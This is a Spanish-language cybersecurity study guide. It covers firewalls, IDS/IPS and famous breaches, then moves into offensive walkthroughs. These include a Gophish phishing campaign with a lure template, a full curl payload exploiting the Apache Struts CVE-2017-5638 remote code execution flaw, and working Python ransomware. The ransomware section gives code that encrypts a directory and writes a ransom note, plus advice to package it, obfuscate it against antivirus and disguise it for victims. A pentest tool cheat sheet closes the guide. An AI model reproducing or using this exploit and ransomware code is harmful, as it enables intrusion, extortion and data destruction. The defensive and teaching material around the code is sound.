Cortafuegos (Firewalls)
¿Qué son?
Los cortafuegos son sistemas de seguridad diseñados para controlar y filtrar el tráfico de
red entre redes confiables y no confiables, como Internet. Actúan como una barrera para
proteger las redes internas de accesos no autorizados.
¿Para qué sirven?
Filtración de paquetes: Inspeccionan los datos que entran y salen de la red.
Prevención de acceso no autorizado: Bloquean el tráfico que no cumple con las
reglas de seguridad establecidas.
Protección de la red: Defienden la red interna de ataques externos, como malware
o intentos de intrusión.
¿Cómo se utilizan?
Hardware: Dispositivos dedicados que se colocan entre la red interna y externa.
Software: Programas instalados en servidores o estaciones de trabajo.
Reglas: Configuración de políticas para permitir o denegar tráfico basado en
direcciones IP, puertos, y protocolos.
Herramientas más utilizadas:
pfSense
Cisco ASA
FortiGate
Check Point Firewall
SonicWall
Dónde se utilizan?
Empresas: Para proteger redes corporativas.
Centros de datos: Para asegurar servidores y aplicaciones.
Hogares: En routers para proteger redes domésticas.
Sistemas Avanzados de Detección y Prevención de Intrusos (AI-based IDS/IPS)
¿Qué son?
Los Sistemas de Detección de Intrusos (IDS) y Sistemas de Prevención de Intrusos (IPS)
basados en inteligencia artificial (AI) son tecnologías que monitorean y analizan el tráfico
de red para identificar y responder a posibles amenazas de seguridad.
¿Para qué sirven?
Detección de amenazas: Identifican comportamientos sospechosos o patrones que
indican posibles intrusiones.
Prevención de ataques: En el caso de los IPS, bloquean automáticamente el tráfico
malicioso.
Aprendizaje automático: Utilizan modelos de AI para mejorar continuamente en la
detección de nuevas amenazas.
¿Cómo se utilizan?
Monitorización continua: Analizan el tráfico en tiempo real.
Alertas: Notifican a los administradores de red sobre incidentes sospechosos.
Acciones automáticas: Los IPS pueden bloquear amenazas automáticamente.
Herramientas más utilizadas:
Snort
Suricata
Zeek (anteriormente Bro)
Cisco Firepower
Palo Alto Networks
Dónde se utilizan?
Empresas: Para proteger redes empresariales y datos sensibles.
Infraestructura crítica: En servicios como energía, agua y transporte.
Servicios en la nube: Para proteger plataformas y aplicaciones basadas en la nube.
10 Casos de la Vida Real
1. Yahoo Data Breach (2013-2014): Un firewall mal configurado permitió a los hackers
acceder a más de 3 mil millones de cuentas.
2. Equifax Breach (2017): IDS no detectó a tiempo una vulnerabilidad explotada en
Apache Struts, resultando en la filtración de información personal de 147 millones
de personas.
3. WannaCry Ransomware (2017): Muchas empresas pudieron detener la
propagación utilizando cortafuegos y IPS para bloquear el tráfico en el puerto 445.
4. Marriott Data Breach (2018): Una detección temprana por un IDS podría haber
limitado el robo de información de 500 millones de huéspedes.
5. Colonial Pipeline Ransomware Attack (2021): Los sistemas de detección de intrusos
no lograron prevenir el ataque que paralizó una parte significativa del suministro de
combustible en EE.UU.
6. SolarWinds Hack (2020): El ataque comprometió a miles de organizaciones. IDS
avanzados podrían haber identificado el tráfico inusual.
7. Target Breach (2013): Un IDS detectó el ataque, pero las alertas no fueron atendidas
a tiempo, permitiendo a los atacantes robar datos de 40 millones de tarjetas de
crédito.
8. Sony Pictures Hack (2014): El uso de herramientas de detección de intrusos podría
haber alertado sobre el acceso no autorizado antes de que se exfiltraran datos
sensibles.
9. Capital One Breach (2019): Un firewall mal configurado permitió el acceso no
autorizado a datos de 106 millones de clientes.
10. Facebook Data Leak (2021): La exposición de datos de 533 millones de usuarios
podría haberse mitigado con una mejor configuración de seguridad y uso de IDS/IPS.
Estos casos destacan la importancia de implementar y gestionar correctamente cortafuegos
y sistemas avanzados de detección de intrusos para protegerse contra amenazas de
seguridad en el mundo digital.
DESARROLLO
1. Yahoo Data Breach (2013-2014): Fallo de configuración del firewall y phishing
Fallo de configuración del firewall:
o Los firewalls son responsables de controlar el acceso a la red. En el caso de
Yahoo, un firewall mal configurado permitió el acceso a los servidores
internos. Esto significa que las reglas que deberían bloquear o restringir
ciertas conexiones no estaban correctamente definidas o implementadas,
permitiendo que los atacantes se conectaran a recursos internos de la red.
Phishing:
o Los atacantes utilizaron phishing, una técnica en la que se envían correos
electrónicos fraudulentos que parecen legítimos para engañar a los
empleados y hacer que revelen sus credenciales. Una vez que los atacantes
obtuvieron estas credenciales, pudieron acceder a las herramientas internas
de Yahoo y extraer datos a gran escala.
2. Equifax Breach (2017): Explotación de vulnerabilidad en Apache Struts
Apache Struts:
o Es un framework de desarrollo para aplicaciones web. En este caso, los
atacantes aprovecharon una vulnerabilidad conocida (CVE-2017-5638) en
Apache Struts, que permitía ejecutar comandos en el servidor a través de
solicitudes HTTP maliciosas. Esta vulnerabilidad no había sido parcheada por
Equifax, permitiendo a los atacantes ejecutar comandos de manera remota
y acceder a bases de datos sensibles.
3. WannaCry Ransomware (2017): Explotación de EternalBlue y SMB
EternalBlue:
o Es un exploit desarrollado por la NSA que aprovechaba una vulnerabilidad en
el protocolo SMB (Server Message Block), que permite compartir archivos e
impresoras en redes. Cuando se filtró, los atacantes lo utilizaron para
propagar el ransomware WannaCry rápidamente. EternalBlue explotaba la
vulnerabilidad sin necesidad de autenticación, permitiendo el acceso remoto
a los sistemas vulnerables a través del puerto 445.
SMB (Server Message Block):
o Es un protocolo de red utilizado para compartir recursos como archivos e
impresoras. La vulnerabilidad en SMB permitió que WannaCry se propagara
automáticamente de una máquina a otra sin intervención del usuario.
4. Marriott Data Breach (2018): Spear-phishing y movimientos laterales
Spear-phishing:
o Similar al phishing, pero más dirigido. Los atacantes enviaron correos
electrónicos a empleados específicos de Marriott con contenido diseñado
para parecer legítimo. Cuando los empleados hicieron clic en los enlaces o
descargaron archivos adjuntos maliciosos, los atacantes obtuvieron acceso a
sus credenciales.
Movimientos laterales:
o Una vez dentro de la red, los atacantes exploraron la red interna y buscaron
otros sistemas vulnerables para comprometerlos. Esto se conoce como
movimiento lateral, y les permitió acceder a bases de datos de clientes,
incluyendo información de reservas.
5. Colonial Pipeline Ransomware Attack (2021): Acceso a través de RDP y
ransomware
RDP (Remote Desktop Protocol):
o Es un protocolo que permite a los usuarios conectarse a otra computadora
de manera remota. Los atacantes obtuvieron credenciales válidas para RDP
y las usaron para acceder a los sistemas internos de Colonial Pipeline.
Ransomware:
o Una vez dentro, instalaron ransomware, que cifró los archivos en los
sistemas críticos, bloqueando el acceso hasta que se pagara un rescate. El
grupo DarkSide fue responsable de este ataque.
6. SolarWinds Hack (2020): Compromiso de la cadena de suministro
Cadena de suministro:
o Los atacantes insertaron malware en una actualización de software de la
plataforma de gestión de TI SolarWinds Orion. Cuando los clientes de
SolarWinds, incluyendo agencias gubernamentales y grandes empresas,
instalaron esta actualización, el malware se activó, permitiendo a los
atacantes acceso remoto a los sistemas de los clientes.
Actualización maliciosa:
o La actualización maliciosa se distribuyó como si fuera legítima, lo que hizo
que pasara desapercibida inicialmente por los sistemas de seguridad
tradicionales.
7. Target Breach (2013): Compromiso de credenciales de terceros y malware en
puntos de venta
Compromiso de credenciales de terceros:
o Los atacantes obtuvieron acceso a la red de Target utilizando credenciales
comprometidas de un proveedor de HVAC (calefacción, ventilación y aire
acondicionado) que estaba conectado a la red de Target. Estas credenciales
permitieron a los atacantes entrar en la red de Target.
Malware en puntos de venta:
o Una vez dentro, instalaron malware en los sistemas de punto de venta (POS),
que capturaba los datos de las tarjetas de crédito cuando los clientes
realizaban transacciones.
8. Sony Pictures Hack (2014): Spear-phishing y malware personalizado
Spear-phishing:
o Los atacantes enviaron correos electrónicos dirigidos a empleados de Sony
con contenido malicioso. Cuando los empleados abrieron los correos, los
atacantes obtuvieron acceso inicial.
Malware personalizado:
o Utilizaron malware diseñado específicamente para este ataque, lo que les
permitió moverse lateralmente dentro de la red, robar datos confidenciales
y eventualmente destruir sistemas.
9. Capital One Breach (2019): Mala configuración del firewall y solicitud de
metadatos
Mala configuración del firewall:
o La atacante explotó una mala configuración en un firewall de Capital One en
su infraestructura de AWS, lo que permitió solicitudes no autorizadas a los
servidores de metadatos.
Solicitud de metadatos:
o Utilizó la técnica de Server-Side Request Forgery (SSRF) para obtener acceso
a credenciales que le permitieron extraer datos almacenados en la nube.
10. Facebook Data Leak (2021): Raspado automatizado de datos
Raspado automatizado:
o Los atacantes aprovecharon una vulnerabilidad en la función de importación
de contactos de Facebook, que permitía raspar o recopilar datos de usuarios
a gran escala sin autorización. Este proceso implicaba el uso de scripts para
automatizar la extracción de información de perfiles públicos.
Errores Comunes en la Configuración de Firewalls
1. Reglas de Permisos Amplias:
o Permitir tráfico desde o hacia cualquier dirección IP o puerto sin restricciones
específicas. Esto facilita el acceso no autorizado a recursos sensibles.
2. Falta de Restricción por Dirección IP:
o No limitar el acceso solo a direcciones IP confiables permite que cualquier
usuario de Internet pueda intentar conectarse al sistema.
3. Falta de Actualización y Parcheo:
o No mantener el firewall actualizado con los últimos parches de seguridad
deja el sistema vulnerable a exploits conocidos.
4. Deshabilitar Logs o Monitoreo:
o No registrar actividades bloquea la capacidad de detectar intentos de
intrusión o acceso no autorizado.
5. Permisos Implícitos:
o No tener reglas explícitas de denegación al final de la lista de reglas, lo que
puede permitir inadvertidamente conexiones no deseadas.
6. Mala Gestión de Reglas:
o Demasiadas reglas o reglas redundantes pueden crear confusión y errores
en el filtrado del tráfico.
Ejemplo Detallado con Demostración
Escenario:
Supongamos que tenemos un servidor web interno que solo debería ser accesible desde
una red interna (192.168.1.0/24). Un firewall mal configurado podría permitir accesos
desde cualquier dirección IP debido a una regla permisiva incorrecta.
Configuración Incorrecta del Firewall:
plaintext
Codigo fuente
# Reglas del firewall (incorrectas)
Allow ALL from ANY to 192.168.1.100 port 80
Errores en esta Configuración:
1. "Allow ALL": Permite cualquier tipo de tráfico (cualquier protocolo, dirección IP y
puerto).
2. "from ANY": No restringe el origen del tráfico, permitiendo que cualquier dirección
IP acceda al servidor.
3. No hay regla de denegación explícita: Cualquier tráfico no especificado será
permitido por defecto.
Impacto:
Un atacante desde una dirección IP externa, como 203.0.113.50, podría acceder al
servidor web interno y potencialmente explotarlo si existe alguna vulnerabilidad en
la aplicación.
Demostración:
1. Configuración del Firewall:
Codigo fuente
# Configuración incorrecta del firewall usando iptables (ejemplo en Linux)
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
2. Prueba de Acceso desde una IP Externa:
Codigo fuente
# Simulación de un ataque desde una IP externa
curl http://192.168.1.100
o El atacante podría recibir una respuesta del servidor web, demostrando que
el acceso no está restringido.
Configuración Correcta del Firewall:
plaintext
Codigo fuente
# Reglas del firewall (correctas)
Allow TCP from 192.168.1.0/24 to 192.168.1.100 port 80
Deny ALL from ANY to 192.168.1.100 port 80
Configuración Mejorada:
1. Restricción por IP: Solo permite tráfico desde la red interna (192.168.1.0/24).
2. Regla de Denegación Explícita: Bloquea cualquier otro tráfico que no cumpla con
las reglas definidas.
Codigo fuente
# Configuración correcta del firewall usando iptables
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
3. Prueba de Acceso desde una IP Externa:
Codigo fuente
# Simulación de un ataque desde una IP externa
curl http://192.168.1.100
o El atacante ahora recibiría un mensaje de "Connection Refused" o no
obtendría respuesta, indicando que el acceso está bloqueado.
Conclusión:
Un firewall mal configurado puede dejar puertas abiertas a atacantes, mientras que una
configuración correcta y específica minimiza el riesgo de accesos no autorizados. Es esencial
definir reglas claras, restringir accesos a IPs confiables, y mantener una política de
"denegación por defecto" para asegurar la red.
Phishing es una técnica comúnmente utilizada por los atacantes para engañar a las víctimas
y obtener información confidencial, como contraseñas o datos bancarios, mediante correos
electrónicos fraudulentos que parecen legítimos.
Herramientas Comunes para Phishing
1. SET (Social Engineering Toolkit):
o Es una herramienta de código abierto diseñada específicamente para
pruebas de penetración y ataques de ingeniería social, incluida la creación
de campañas de phishing.
2. Gophish:
o Una plataforma de phishing de código abierto que facilita la creación y
gestión de campañas de phishing, ideal para pruebas de seguridad.
Configuración y Administración de Gophish
Paso 1: Instalación de Gophish
1. Descargar Gophish:
o Visita el sitio oficial de Gophish y descarga la versión correspondiente a tu
sistema operativo.
2. Instalar:
o Descomprime el archivo descargado y navega al directorio de Gophish.
3. Ejecutar Gophish:
Codigo fuente
./gophish
o Esto inicia el servidor de Gophish en http://localhost:3333.
Paso 2: Configuración Inicial
1. Acceder a la Interfaz Web:
o Abre un navegador y accede a http://localhost:3333. Usa las credenciales
predeterminadas (admin y gophish).
2. Configurar Servidor SMTP:
o En la pestaña "Sending Profiles", configura un servidor SMTP para enviar
correos electrónicos. Puedes usar servidores como Gmail o configurar tu
propio servidor.
Ejemplo de configuración:
plaintext
Codigo fuente
SMTP Host: smtp.gmail.com
SMTP Port: 587
Username: [email protected]
Password: tu contraseña
Paso 3: Crear una Campaña de Phishing
1. Crear una Plantilla de Correo Electrónico:
o Ve a "Email Templates" y crea una nueva plantilla con el contenido del correo
de phishing. Por ejemplo:
plaintext
Codigo fuente
Asunto: Actualización de Seguridad
Cuerpo:
Estimado usuario,
Su cuenta necesita ser verificada. Haga clic en el siguiente enlace para actualizar su información:
[ENLACE MALICIOSO]
Atentamente,
Equipo de Seguridad
2. Añadir un Sitio de Destino:
o En "Landing Pages", crea una página de destino que simule un sitio legítimo.
Puedes clonar un sitio usando el mismo Gophish o simplemente crear una
página de inicio de sesión falsa.
3. Crear una Campaña:
o Ve a "Campaigns", configura los detalles de la campaña, selecciona la
plantilla de correo, el grupo de destinatarios, y lanza la campaña.
Vulnerabilidad Conocida: CVE-2017-5638
La CVE-2017-5638 es una vulnerabilidad crítica en Apache Struts 2, un framework de Java
para desarrollar aplicaciones web. Esta vulnerabilidad permite la ejecución remota de
código (RCE), lo que significa que un atacante puede ejecutar comandos arbitrarios en el
servidor afectado.
Descripción Técnica
La vulnerabilidad reside en la manera en que Apache Struts maneja las peticiones
con contenido malicioso, específicamente en la función de procesamiento de
cabeceras multipart.
Un atacante puede enviar una solicitud especialmente diseñada con una cabecera
maliciosa Content-Type para ejecutar comandos arbitrarios en el servidor.
Cómo Funciona y Sirve esta Vulnerabilidad
1. Ejecución Remota de Código: Permite que un atacante ejecute comandos del
sistema operativo en el servidor que hospeda la aplicación Apache Struts vulnerable.
2. Impacto: Esto puede resultar en el compromiso total del servidor, permitiendo
acceso no autorizado a datos sensibles, instalación de malware, o control total del
sistema.
Ejemplo Demostrativo Paso a Paso
Escenario:
Una aplicación web usa Apache Struts 2, y no se ha actualizado para parchear la
vulnerabilidad CVE-2017-5638.
Paso 1: Configurar un Entorno Vulnerable
1. Instalar Apache Struts 2 en un servidor local o máquina virtual.
2. Desplegar una aplicación que use Apache Struts 2, asegurando que la versión sea
vulnerable (por ejemplo, versión 2.3.31).
Paso 2: Explorar la Vulnerabilidad
1. Identificar la URL de la aplicación que usa Apache Struts.
o Por ejemplo, http://localhost:8080/struts-app/upload.action.
Paso 3: Enviar una Solicitud Maliciosa
1. Utiliza una herramienta como curl o Postman para enviar una solicitud maliciosa.
Comando curl para Exploitar:
Codigo fuente
curl -v -X POST http://localhost:8080/struts-app/upload.action \
-H "Content-Type: %{(#_='multipart/form-
data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAcc
ess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil
=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExclude
dPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm
)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))
).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.
apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons
.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
o Este comando intenta ejecutar el comando id en el servidor. Si es exitoso,
devolverá información sobre el usuario bajo el cual se está ejecutando el
servidor.
Paso 4: Validar la Exploitación
1. Respuesta del Servidor: Si el servidor es vulnerable, devolverá la salida del comando
id, mostrando que el comando fue ejecutado en el servidor.
Mitigación
1. Actualizar Apache Struts: La solución más efectiva es actualizar Apache Struts a una
versión parcheada (por ejemplo, 2.3.32 o superior).
2. Monitorear Solicitudes: Implementar herramientas de detección de intrusos (IDS)
para monitorear solicitudes maliciosas.
3. Seguir Buenas Prácticas: Asegurar que todas las aplicaciones web y frameworks
estén actualizados regularmente para mitigar vulnerabilidades conocidas.
Conclusión
La vulnerabilidad CVE-2017-5638 muestra cómo una mala gestión de actualizaciones puede
exponer aplicaciones a riesgos severos. Los administradores de sistemas y desarrolladores
deben estar atentos a las actualizaciones de seguridad y aplicar los parches necesarios para
evitar que exploits similares comprometan sus sistemas.
¿Qué es el Ransomware?
El ransomware es un tipo de software malicioso (malware) que cifra los archivos de un
sistema, bloqueando el acceso a ellos hasta que la víctima pague un rescate (ransom). Los
atacantes suelen exigir el pago en criptomonedas para mantener el anonimato. Si la víctima
no paga, los datos pueden quedar permanentemente inaccesibles o ser publicados en línea.
¿Cómo funciona el Ransomware?
1. Distribución:
El ransomware se propaga mediante correos electrónicos de phishing, descargas de
software malicioso, sitios web comprometidos o dispositivos externos infectados.
2. Instalación:
Una vez ejecutado, el ransomware se instala en el sistema de la víctima sin su
conocimiento.
3. Cifrado de datos:
Escanea el sistema en busca de archivos como documentos, imágenes, bases de
datos, etc., y los cifra utilizando algoritmos fuertes como AES o RSA.
4. Mensaje de rescate:
Después del cifrado, muestra un mensaje que informa a la víctima sobre el ataque y
proporciona instrucciones para pagar el rescate.
5. Consecuencias:
Si la víctima paga, los atacantes podrían proporcionar la clave de descifrado, aunque
no siempre lo hacen. Si no se paga, los archivos permanecen inaccesibles.
Ejemplo de configuración y ejecución de un Ransomware
⚠ Nota importante:
Este contenido es educativo y tiene como fin ayudar a identificar y prevenir ataques. Usar
este conocimiento para actividades maliciosas es ilegal y está penado por la ley.
Paso 1: Herramientas necesarias
Lenguaje de programación como Python, C++, o ensamblador.
Biblioteca para el cifrado (por ejemplo, pycryptodome en Python).
Generador de ejecutables o packers para distribuir el ransomware.
Ejemplo en Python
python
Codigo fuente
from cryptography.fernet import Fernet
import os
# Generar una clave de cifrado
def generate_key():
key = Fernet.generate_key()
with open("key.key", "wb") as key_file:
key_file.write(key)
# Cargar la clave
def load_key():
return open("key.key", "rb").read()
# Cifrar archivos
def encrypt_files(key):
fernet = Fernet(key)
# Ruta a los archivos
path = "/ruta/a/cifrar/"
for root, dirs, files in os.walk(path):
for file in files:
file_path = os.path.join(root, file)
with open(file_path, "rb") as f:
file_data = f.read()
encrypted_data = fernet.encrypt(file_data)
with open(file_path, "wb") as f:
f.write(encrypted_data)
# Crear mensaje de rescate
def create_ransom_note():
with open("/ruta/a/cifrar/README.txt", "w") as f:
f.write(
"¡Tus archivos han sido cifrados!\n"
"Para recuperarlos, envía 1 BTC a la siguiente dirección: XXXXXX\n"
"Luego, envía un correo a
[email protected] con tu ID de pago.\n"
)
# Ejecución
if __name__ == "__main__":
generate_key()
key = load_key()
encrypt_files(key)
create_ransom_note()
print("¡Archivos cifrados con éxito!")
Paso 2: Empaquetar y distribuir
Usar herramientas como pyinstaller para crear un archivo ejecutable:
Codigo fuente
pyinstaller --onefile ransomware.py
Incluir técnicas para ofuscar el código y evitar su detección por antivirus.
Paso 3: Ejecución
1. La víctima ejecuta el archivo malicioso, a menudo disfrazado como un documento o
programa legítimo.
2. El ransomware cifra los archivos en el directorio objetivo.
3. Se genera una nota de rescate con instrucciones de pago.
¿Cómo protegerse contra el Ransomware?
1. Hacer copias de seguridad:
Mantener respaldos regulares en ubicaciones desconectadas o en la nube.
2. Actualizar software:
Parchear vulnerabilidades en sistemas operativos y aplicaciones.
3. Capacitar a los usuarios:
Enseñar a identificar correos de phishing y evitar descargas sospechosas.
4. Antivirus y firewall:
Usar herramientas de seguridad actualizadas para prevenir infecciones.
5. Control de acceso:
Restringir permisos para minimizar el daño potencial.
Este conocimiento es clave para entender cómo operan los atacantes y protegerse
adecuadamente.
VULNERABILIDADES
1. Recolección de Información
Nmap
Descripción: Escáner de redes que identifica hosts, servicios, sistemas operativos, y
vulnerabilidades.
Uso básico:
Codigo fuente
nmap -sS <IP_o_rango>
o -sS: Escaneo TCP SYN (rápido y discreto).
Uso avanzado:
Codigo fuente
nmap -A -T4 <IP>
o -A: Detecta servicios, SO y scripts.
o -T4: Velocidad más rápida.
Recon-ng
Descripción: Marco modular para realizar OSINT.
Funciones destacadas:
o Búsqueda de dominios, correos, y redes sociales.
Inicio:
Codigo fuente
recon-ng
Maltego
Descripción: Herramienta de análisis visual que muestra relaciones entre personas, redes,
y más.
Características:
o Ideal para inteligencia de fuentes abiertas.
o Requiere una cuenta en Paterva.
theHarvester
Descripción: Extrae información como correos electrónicos, subdominios y direcciones IP.
Uso básico:
Codigo fuente
theharvester -d <dominio> -b <motor>
o -b: Define el motor de búsqueda (e.g., Google, Bing).
2. Análisis de Vulnerabilidades
OpenVAS
Descripción: Escáner de vulnerabilidades para redes y sistemas.
Inicio:
Codigo fuente
gvm-start
Luego accede a: https://localhost:9392.
Nikto
Descripción: Escanea servidores web en busca de configuraciones débiles y
vulnerabilidades.
Uso básico:
Codigo fuente
nikto -h <URL>
Lynis
Descripción: Auditoría de seguridad para sistemas Linux.
Ejemplo:
Codigo fuente
lynis audit system
3. Explotación
Metasploit Framework
Descripción: Marco para ejecutar exploits y evaluar la seguridad.
Inicio:
Codigo fuente
msfconsole
BeEF
Descripción: Exploita vulnerabilidades de navegadores.
Inicio:
Codigo fuente
beef-xss
Accede a la interfaz web en: http://127.0.0.1:3000/ui.
sqlmap
Descripción: Automatiza ataques de inyección SQL.
Uso básico:
Codigo fuente
sqlmap -u <URL> --dbs
o --dbs: Lista bases de datos.
4. Ataques de Contraseñas
Hydra
Descripción: Realiza ataques de fuerza bruta.
Ejemplo:
Codigo fuente
hydra -l admin -P passwords.txt -s 22 ssh://<IP>
John the Ripper
Descripción: Cracker de contraseñas para archivos hash y cifrados.
Uso básico:
Codigo fuente
john <archivo_hash>
Hashcat
Descripción: Cracker rápido de hashes.
Uso básico:
Codigo fuente
hashcat -m 0 -a 0 <hash> <diccionario>
5. Análisis de Redes
Wireshark
Descripción: Analizador de tráfico de red.
Inicio:
Codigo fuente
wireshark
o Permite filtrar protocolos como http, tcp, etc.
Aircrack-ng
Descripción: Evalúa la seguridad de redes Wi-Fi.
Uso:
1. Captura tráfico:
Codigo fuente
airodump-ng wlan0
2. Ataca:
Codigo fuente
aircrack-ng -w <diccionario> <archivo.cap>
Kismet
Descripción: Detecta redes inalámbricas y analiza tráfico.
Inicio:
Codigo fuente
kismet
6. Ingeniería Social
Social-Engineer Toolkit (SET)
Descripción: Diseñado para phishing y otras técnicas de ingeniería social.
Inicio:
Codigo fuente
setoolkit
Responder
Descripción: Captura credenciales en redes internas.
Inicio:
Codigo fuente
responder -I <interfaz>
7. Forense Digital
Autopsy
Descripción: Plataforma gráfica para análisis forense.
Inicio:
Codigo fuente
autopsy
Foremost
Descripción: Recupera archivos eliminados.
Uso básico:
Codigo fuente
foremost -i <imagen_de_disco>
Volatility
Descripción: Analiza memoria RAM.
Uso básico:
Codigo fuente
volatility -f <archivo_ram> imageinfo
8. Pruebas de Aplicaciones Web
Burp Suite
Descripción: Prueba de seguridad para aplicaciones web.
Inicio:
Codigo fuente
burpsuite
OWASP ZAP
Descripción: Proxy para análisis de aplicaciones web.
Inicio:
Codigo fuente
zaproxy
Dirb
Descripción: Escanea directorios ocultos en servidores web.
Ejemplo:
Codigo fuente
dirb <URL>